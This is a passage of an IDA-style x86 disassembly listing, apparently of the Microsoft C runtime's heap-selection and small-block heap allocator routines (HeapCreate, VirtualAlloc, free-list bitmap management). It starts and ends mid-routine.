jz short loc_418B13
cmp [ebp+var_88], 2
jnz short loc_418B13
cmp [ebp+var_94], 5
jb short loc_418B13
push 1
pop eax
jmp loc_418C15
; ---------------------------------------------------------------------------
loc_418B13: ; CODE XREF: sub_418AD0+27j
; sub_418AD0+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_421170 ; GetEnvironmentVariableA
test eax, eax
jz loc_418C02
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_418B55
loc_418B42: ; CODE XREF: sub_418AD0+83j
mov al, [ecx]
cmp al, 61h
jl short loc_418B50
cmp al, 7Ah
jg short loc_418B50
sub al, 20h
mov [ecx], al
loc_418B50: ; CODE XREF: sub_418AD0+76j
; sub_418AD0+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_418B42
loc_418B55: ; CODE XREF: sub_418AD0+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_416D70
add esp, 0Ch
test eax, eax
jnz short loc_418B77
lea eax, [ebp+var_122C]
jmp short loc_418BC0
; ---------------------------------------------------------------------------
loc_418B77: ; CODE XREF: sub_418AD0+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_42107C ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_418BAB
loc_418B98: ; CODE XREF: sub_418AD0+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_418BA6
cmp al, 7Ah
jg short loc_418BA6
sub al, 20h
mov [ecx], al
loc_418BA6: ; CODE XREF: sub_418AD0+CCj
; sub_418AD0+D0j
inc ecx
cmp [ecx], bl
jnz short loc_418B98
loc_418BAB: ; CODE XREF: sub_418AD0+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_4158E0
pop ecx
pop ecx
loc_418BC0: ; CODE XREF: sub_418AD0+A5j
cmp eax, ebx
jz short loc_418C02
push 2Ch
push eax
call sub_416F20
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418C02
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_418BE7
loc_418BD9: ; CODE XREF: sub_418AD0+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_418BE2
mov [ecx], bl
jmp short loc_418BE3
; ---------------------------------------------------------------------------
loc_418BE2: ; CODE XREF: sub_418AD0+10Cj
inc ecx
loc_418BE3: ; CODE XREF: sub_418AD0+110j
cmp [ecx], bl
jnz short loc_418BD9
loc_418BE7: ; CODE XREF: sub_418AD0+107j
push 0Ah
push ebx
push eax
call sub_416711
add esp, 0Ch
cmp eax, 2
jz short loc_418C15
cmp eax, 3
jz short loc_418C15
cmp eax, 1
jz short loc_418C15
loc_418C02: ; CODE XREF: sub_418AD0+5Cj
; sub_418AD0+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_418AA3
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_418C15: ; CODE XREF: sub_418AD0+3Ej
; sub_418AD0+126j ...
pop ebx
leave
retn
sub_418AD0 endp
; =============== S U B R O U T I N E =======================================
sub_418C18 proc near ; CODE XREF: .text:00417B72p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_421178 ; HeapCreate
test eax, eax
mov dword_46D164, eax
jz short loc_418C6E
call sub_418AD0
cmp eax, 3
mov dword_46D168, eax
jnz short loc_418C54
push 3F8h
call sub_418C75
pop ecx
jmp short loc_418C5E
; ---------------------------------------------------------------------------
loc_418C54: ; CODE XREF: sub_418C18+2Dj
cmp eax, 2
jnz short loc_418C71
call sub_4197BC
loc_418C5E: ; CODE XREF: sub_418C18+3Aj
test eax, eax
jnz short loc_418C71
push dword_46D164
call dword_421174 ; HeapDestroy
loc_418C6E: ; CODE XREF: sub_418C18+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418C71: ; CODE XREF: sub_418C18+3Fj
; sub_418C18+48j
push 1
pop eax
retn
sub_418C18 endp
; =============== S U B R O U T I N E =======================================
sub_418C75 proc near ; CODE XREF: sub_418C18+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_46D164
call dword_42114C ; RtlAllocateHeap
test eax, eax
mov dword_46D15C, eax
jnz short loc_418C92
retn
; ---------------------------------------------------------------------------
loc_418C92: ; CODE XREF: sub_418C75+1Aj
mov ecx, [esp+arg_0]
and dword_46D154, 0
and dword_46D158, 0
push 1
mov dword_46D150, eax
mov dword_46D160, ecx
mov dword_46D148, 10h
pop eax
retn
sub_418C75 endp
; =============== S U B R O U T I N E =======================================
sub_418CBD proc near ; CODE XREF: sub_415C9B+17p
; sub_41737F+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_46D158
lea ecx, [eax+eax*4]
mov eax, dword_46D15C
lea ecx, [eax+ecx*4]
loc_418CCD: ; CODE XREF: sub_418CBD+26j
cmp eax, ecx
jnb short loc_418CE5
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_418CE7
add eax, 14h
jmp short loc_418CCD
; ---------------------------------------------------------------------------
loc_418CE5: ; CODE XREF: sub_418CBD+12j
xor eax, eax
locret_418CE7: ; CODE XREF: sub_418CBD+21j
retn
sub_418CBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418CE8 proc near ; CODE XREF: sub_415C9B+23p
; sub_41737F+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41900C
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_418DBE
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_418D4C
push 3Fh
pop edx
loc_418D4C: ; CODE XREF: sub_418CE8+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_418DA0
cmp edx, 20h
jnb short loc_418D77
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_418D98
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_418D98
; ---------------------------------------------------------------------------
loc_418D77: ; CODE XREF: sub_418CE8+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_418D98
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_418D98: ; CODE XREF: sub_418CE8+86j
; sub_418CE8+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_418DA3
; ---------------------------------------------------------------------------
loc_418DA0: ; CODE XREF: sub_418CE8+6Aj
mov ecx, [ebp+var_4]
loc_418DA3: ; CODE XREF: sub_418CE8+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_418DBE: ; CODE XREF: sub_418CE8+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_418DCC
push 3Fh
pop edx
loc_418DCC: ; CODE XREF: sub_418CE8+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_418E6F
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_418DF1
mov ebx, esi
loc_418DF1: ; CODE XREF: sub_418CE8+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_418E03
mov edx, esi
loc_418E03: ; CODE XREF: sub_418CE8+117j
cmp ebx, edx
jz short loc_418E6A
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_418E52
cmp ebx, 20h
jnb short loc_418E33
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_418E52
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_418E52
; ---------------------------------------------------------------------------
loc_418E33: ; CODE XREF: sub_418CE8+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_418E52
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_418E52: ; CODE XREF: sub_418CE8+128j
; sub_418CE8+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_418E6A: ; CODE XREF: sub_418CE8+11Dj
mov esi, [ebp+arg_4]
jmp short loc_418E72
; ---------------------------------------------------------------------------
loc_418E6F: ; CODE XREF: sub_418CE8+EDj
mov ebx, [ebp+arg_0]
loc_418E72: ; CODE XREF: sub_418CE8+185j
cmp [ebp+var_C], 0
jnz short loc_418E80
cmp ebx, edx
jz loc_418F01
loc_418E80: ; CODE XREF: sub_418CE8+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_418F01
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_418ED8
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418EC7
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_418EC7: ; CODE XREF: sub_418CE8+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_418F01
; ---------------------------------------------------------------------------
loc_418ED8: ; CODE XREF: sub_418CE8+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418EEE
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_418EEE: ; CODE XREF: sub_418CE8+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_418F01: ; CODE XREF: sub_418CE8+192j
; sub_418CE8+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41900C
mov eax, dword_46D154
test eax, eax
jz loc_418FFE
mov ecx, dword_46D14C
mov esi, dword_42117C
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_46D14C
mov eax, dword_46D154
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_46D154
mov ecx, dword_46D14C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_46D154
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_46D154
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_418F8F
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_46D154
loc_418F8F: ; CODE XREF: sub_418CE8+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_418FFE
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_46D154
push dword ptr [eax+10h]
push 0
push dword_46D164
call dword_421150 ; RtlFreeHeap
mov eax, dword_46D158
mov edx, dword_46D15C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_46D154
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_416320
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_46D158
cmp eax, dword_46D154
jbe short loc_418FF4
sub [ebp+arg_0], 14h
loc_418FF4: ; CODE XREF: sub_418CE8+306j
mov eax, dword_46D15C
mov dword_46D150, eax
loc_418FFE: ; CODE XREF: sub_418CE8+234j
; sub_418CE8+2ABj
mov eax, [ebp+arg_0]
mov dword_46D14C, edi
mov dword_46D154, eax
loc_41900C: ; CODE XREF: sub_418CE8+38j
; sub_418CE8+227j
pop edi
pop esi
pop ebx
leave
retn
sub_418CE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419011 proc near ; CODE XREF: sub_415C27+18p
; sub_41737F+77p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_46D158
mov edx, dword_46D15C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_419051
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_419061
; ---------------------------------------------------------------------------
loc_419051: ; CODE XREF: sub_419011+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_419061: ; CODE XREF: sub_419011+3Ej
mov eax, dword_46D150
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_419088
loc_41906F: ; CODE XREF: sub_419011+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_419088
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41906F
loc_419088: ; CODE XREF: sub_419011+5Cj
; sub_419011+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_419106
mov ebx, edx
loc_41908F: ; CODE XREF: sub_419011+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4190AB
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_4190A9
add ebx, 14h
jmp short loc_41908F
; ---------------------------------------------------------------------------
loc_4190A9: ; CODE XREF: sub_419011+91j
cmp ebx, eax
loc_4190AB: ; CODE XREF: sub_419011+83j
jnz short loc_419106
loc_4190AD: ; CODE XREF: sub_419011+ADj
cmp ebx, [ebp+var_4]
jnb short loc_4190C3
cmp dword ptr [ebx+8], 0
jnz short loc_4190C0
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_4190AD
; ---------------------------------------------------------------------------
loc_4190C0: ; CODE XREF: sub_419011+A5j
cmp ebx, [ebp+var_4]
loc_4190C3: ; CODE XREF: sub_419011+9Fj
jnz short loc_4190EB
mov ebx, edx
loc_4190C7: ; CODE XREF: sub_419011+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4190DB
cmp dword ptr [ebx+8], 0
jnz short loc_4190D9
add ebx, 14h
jmp short loc_4190C7
; ---------------------------------------------------------------------------
loc_4190D9: ; CODE XREF: sub_419011+C1j
cmp ebx, eax
loc_4190DB: ; CODE XREF: sub_419011+BBj
jnz short loc_4190EB
call sub_41931A
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_4190FF
loc_4190EB: ; CODE XREF: sub_419011:loc_4190C3j
; sub_419011:loc_4190DBj
push ebx
call sub_4193CB
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_419106
loc_4190FF: ; CODE XREF: sub_419011+D8j
xor eax, eax
jmp loc_419315
; ---------------------------------------------------------------------------
loc_419106: ; CODE XREF: sub_419011+7Aj
; sub_419011:loc_4190ABj ...
mov dword_46D150, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41912D
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_419164
loc_41912D: ; CODE XREF: sub_419011+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_419161
loc_41914A: ; CODE XREF: sub_419011+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41914A
loc_419161: ; CODE XREF: sub_419011+137j
mov edx, [ebp+var_4]
loc_419164: ; CODE XREF: sub_419011+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41918D
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41918D: ; CODE XREF: sub_419011+16Dj
; sub_419011+183j
test ecx, ecx
jl short loc_419196
shl ecx, 1
inc edi
jmp short loc_41918D
; ---------------------------------------------------------------------------
loc_419196: ; CODE XREF: sub_419011+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_4191B3
push 3Fh
pop esi
loc_4191B3: ; CODE XREF: sub_419011+19Dj
cmp esi, edi
jz loc_4192C8
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419224
cmp edi, 20h
jge short loc_4191F3
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_419221
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_419224
; ---------------------------------------------------------------------------
loc_4191F3: ; CODE XREF: sub_419011+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_419221
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_419224
; ---------------------------------------------------------------------------
loc_419221: ; CODE XREF: sub_419011+1D6j
; sub_419011+203j
mov ebx, [ebp+arg_0]
loc_419224: ; CODE XREF: sub_419011+1B0j
; sub_419011+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_4192D4
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4192C5
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_419296
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_419284
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_419284: ; CODE XREF: sub_419011+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_4192C5
; ---------------------------------------------------------------------------
loc_419296: ; CODE XREF: sub_419011+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4192AF
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_4192AF: ; CODE XREF: sub_419011+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_4192C5: ; CODE XREF: sub_419011+24Ej
; sub_419011+283j
mov ecx, [ebp+var_8]
loc_4192C8: ; CODE XREF: sub_419011+1A4j
test ecx, ecx
jz short loc_4192D7
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_4192D7
; ---------------------------------------------------------------------------
loc_4192D4: ; CODE XREF: sub_419011+229j
mov ecx, [ebp+var_8]
loc_4192D7: ; CODE XREF: sub_419011+2B9j
; sub_419011+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41930D
cmp ebx, dword_46D154
jnz short loc_41930D
mov ecx, [ebp+var_4]
cmp ecx, dword_46D14C
jnz short loc_41930D
and dword_46D154, 0
loc_41930D: ; CODE XREF: sub_419011+2E0j
; sub_419011+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_419315: ; CODE XREF: sub_419011+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_419011 endp
; =============== S U B R O U T I N E =======================================
sub_41931A proc near ; CODE XREF: sub_419011+CCp
mov eax, dword_46D158
mov ecx, dword_46D148
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41935D
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_46D15C
push edi
push dword_46D164
call dword_421160 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_4193AD
add dword_46D148, 10h
mov dword_46D15C, eax
mov eax, dword_46D158
loc_41935D: ; CODE XREF: sub_41931A+11j
mov ecx, dword_46D15C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_46D164
lea esi, [ecx+eax*4]
call dword_42114C ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_4193AD
push 4
push 2000h
push 100000h
push edi
call dword_421180 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_4193B1
push dword ptr [esi+10h]
push edi
push dword_46D164
call dword_421150 ; RtlFreeHeap
loc_4193AD: ; CODE XREF: sub_41931A+30j
; sub_41931A+67j
xor eax, eax
jmp short loc_4193C8
; ---------------------------------------------------------------------------
loc_4193B1: ; CODE XREF: sub_41931A+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_46D158
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_4193C8: ; CODE XREF: sub_41931A+95j
pop edi
pop esi
retn
sub_41931A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193CB proc near ; CODE XREF: sub_419011+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_4193DD: ; CODE XREF: sub_4193CB+19j
test eax, eax
jl short loc_4193E6
shl eax, 1
inc ebx
jmp short loc_4193DD
; ---------------------------------------------------------------------------
loc_4193E6: ; CODE XREF: sub_4193CB+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_4193FB: ; CODE XREF: sub_4193CB+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_4193FB
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_421180 ; VirtualAlloc
test eax, eax
jnz short loc_41942E
or eax, 0FFFFFFFFh
jmp loc_4194C1
; ---------------------------------------------------------------------------
loc_41942E: ; CODE XREF: sub_4193CB+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_419474
lea eax, [edi+10h]
loc_41943B: ; CODE XREF: sub_4193CB+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41943B
loc_419474: ; CODE XREF: sub_4193CB+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_4194B1
or [eax+4], edi
loc_4194B1: ; CODE XREF: sub_4193CB+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_4194C1: ; CODE XREF: sub_4193CB+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_4193CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4194C6 proc near ; CODE XREF: sub_41737F+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_419674
test bl, 1
jnz loc_41966D
add ebx, ecx
cmp esi, ebx
jg loc_41966D
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41953D
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41953D: ; CODE XREF: sub_4194C6+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41958D
cmp ecx, 20h
jnb short loc_419569
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41958D
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41958D
; ---------------------------------------------------------------------------
loc_419569: ; CODE XREF: sub_4194C6+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41958D
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41958D: ; CODE XREF: sub_4194C6+7Dj
; sub_4194C6+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41965B
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_4195C7
push 3Fh
pop edi
loc_4195C7: ; CODE XREF: sub_4194C6+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
